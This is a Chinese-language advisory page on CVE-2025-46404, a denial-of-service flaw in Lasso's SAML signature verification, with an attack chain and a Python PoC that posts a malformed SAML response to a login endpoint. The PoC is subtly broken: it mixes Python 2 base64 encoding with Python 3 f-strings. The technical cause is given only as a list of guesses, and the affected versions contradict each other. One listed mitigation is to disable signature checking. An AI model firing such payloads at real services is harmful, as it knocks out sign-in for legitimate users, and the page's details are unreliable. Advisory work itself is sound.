IPBUF安全漏洞报告
English
CVE-2025-46404 CVSS 7.5 高危

CVE-2025-46404: Entrouvert Lasso SAML签名验证拒绝服务漏洞

披露日期: 2025-11-05

漏洞信息

漏洞编号
CVE-2025-46404
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Entr'ouvert Lasso 2.5.1

相关标签

拒绝服务SAML签名验证Entrouvert Lasso身份认证绕过高危漏洞CVE-2025-46404TALOS-2025-2194

漏洞概述

CVE-2025-46404是Entr'ouvert Lasso 2.5.1版本中的一个拒绝服务漏洞。该漏洞存在于lasso_provider_verify_saml_signature功能中,攻击者可以通过发送精心构造的恶意SAML响应来触发该漏洞。当Lasso库处理包含畸形数据的SAML签名验证请求时,可能导致服务中断,从而造成拒绝服务状态。此漏洞无需认证即可利用,攻击者可以通过网络远程触发。受影响的组件广泛应用于单点登录(SSO)和联邦身份管理场景,漏洞的成功利用将影响系统的可用性,导致合法用户无法正常访问受保护的资源。该漏洞由Cisco Talos情报团队发现并报告,CVSS评分达到7.5分,属于高危级别。

技术细节

该漏洞位于Entr'ouvert Lasso库的SAML签名验证模块中。具体来说,在lasso_provider_verify_saml_signature函数处理SAML响应时,缺乏对输入数据的充分验证。攻击者可以构造包含畸形XML结构、异常签名数据或无效证书链的SAML响应。当Lasso尝试解析和验证这些恶意数据时,可能触发空指针引用、内存损坏或无限循环等异常情况,最终导致进程崩溃或资源耗尽。由于SAML签名验证通常在身份认证流程的早期阶段执行,攻击者无需获取任何有效凭证即可发起攻击。漏洞的利用需要攻击者能够向目标系统的SAML服务提供商端点发送HTTP请求,诱使受害应用处理恶意构造的SAML断言。此类攻击可与其他社会工程技巧结合,实现对目标系统的持续拒绝服务。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别使用Entr'ouvert Lasso库进行SAML处理的Web应用,确定SAML服务提供商(SP)的断言消费服务(ACS)端点URL
STEP 2
步骤2: 构造恶意SAML响应
攻击者创建包含畸形签名数据、无效证书信息或异常XML结构的SAML响应,专门针对lasso_provider_verify_saml_signature函数的解析逻辑
STEP 3
步骤3: 发送恶意请求
攻击者通过HTTP POST向目标SAML ACS端点发送Base64编码的恶意SAML响应,无需任何认证凭据
STEP 4
步骤4: 触发漏洞
Lasso库在验证SAML签名时处理畸形数据,触发空指针引用、内存损坏或异常处理失败
STEP 5
步骤5: 拒绝服务
目标服务进程崩溃或进入不可用状态,合法用户无法完成身份认证,导致服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import xml.etree.ElementTree as ET from lxml import etree # CVE-2025-46404 PoC - Malformed SAML Response for Lasso DoS # Target: Entr'ouvert Lasso <= 2.5.1 def generate_malformed_saml_response(): """Generate a malformed SAML response to trigger DoS in lasso_provider_verify_saml_signature""" # Create SAML Response with malformed signature elements saml_response = '''<?xml version="1.0" encoding="UTF-8"?> <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_malformed_response_id" Version="2.0" IssueInstant="2025-01-01T00:00:00Z"> <saml:Issuer>https://attacker.example.com</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_malformed_assertion_id" Version="2.0" IssueInstant="2025-01-01T00:00:00Z"> <saml:Issuer>https://attacker.example.com</saml:Issuer> <saml:Subject> <saml:NameID>[email protected]</saml:NameID> </saml:Subject> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#" ID="malformed_sig"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="#_malformed_assertion_id"> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <!-- Malformed DigestValue - triggers parsing error --> <ds:DigestValue>INVALID_MALFORMED_DIGEST_VALUE_TOO_LONG_OR_INVALID</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>MALFORMED_SIGNATURE_VALUE_WITH_INVALID_BASE64_DATA###</ds:SignatureValue> <!-- Malformed KeyInfo with invalid X509Data --> <ds:KeyInfo> <ds:X509Data> <ds:X509Certificate>MALFORMED_INVALID_CERT_DATA_NOT_BASE64</ds:X509Certificate> </ds:X509Data> </ds:KeyInfo> </ds:Signature> <saml:Conditions NotBefore="2025-01-01T00:00:00Z" NotOnOrAfter="2099-12-31T23:59:59Z"/> <saml:AuthnStatement AuthnInstant="2025-01-01T00:00:00Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> </samlp:Response>''' return saml_response def exploit_cve_2025_46404(target_url): """ Exploit function to send malformed SAML response This triggers DoS in lasso_provider_verify_saml_signature """ saml_response = generate_malformed_saml_response() # Send to SAML ACS (Assertion Consumer Service) endpoint headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'CVE-2025-46404 PoC' } data = { 'SAMLResponse': saml_response.encode('base64').replace('\n', ''), 'RelayState': '' } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) if __name__ == "__main__": # Target configuration target = "https://vulnerable-app.example.com/saml/acs" print("[*] CVE-2025-46404 PoC - Lasso SAML Signature Verification DoS") print(f"[*] Target: {target}") print("[*] Sending malformed SAML response...") status, response = exploit_cve_2025_46404(target) if status: print(f"[+] Response status: {status}") else: print(f"[!] Request failed: {response}")

影响范围

Entr'ouvert Lasso < 2.5.1

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1) 在负载均衡器或API网关处对SAML响应进行预处理验证,过滤异常的签名数据;2) 启用应用层防火墙规则检测包含无效X.509证书或畸形XML结构的SAML请求;3) 限制SAML端点的访问频率,实施速率限制;4) 监控SAML处理服务的异常日志和错误模式;5) 如业务允许,可临时禁用SAML签名验证(注意:这将降低安全性,仅作为临时措施)。建议持续关注Lasso官方安全公告,及时应用安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表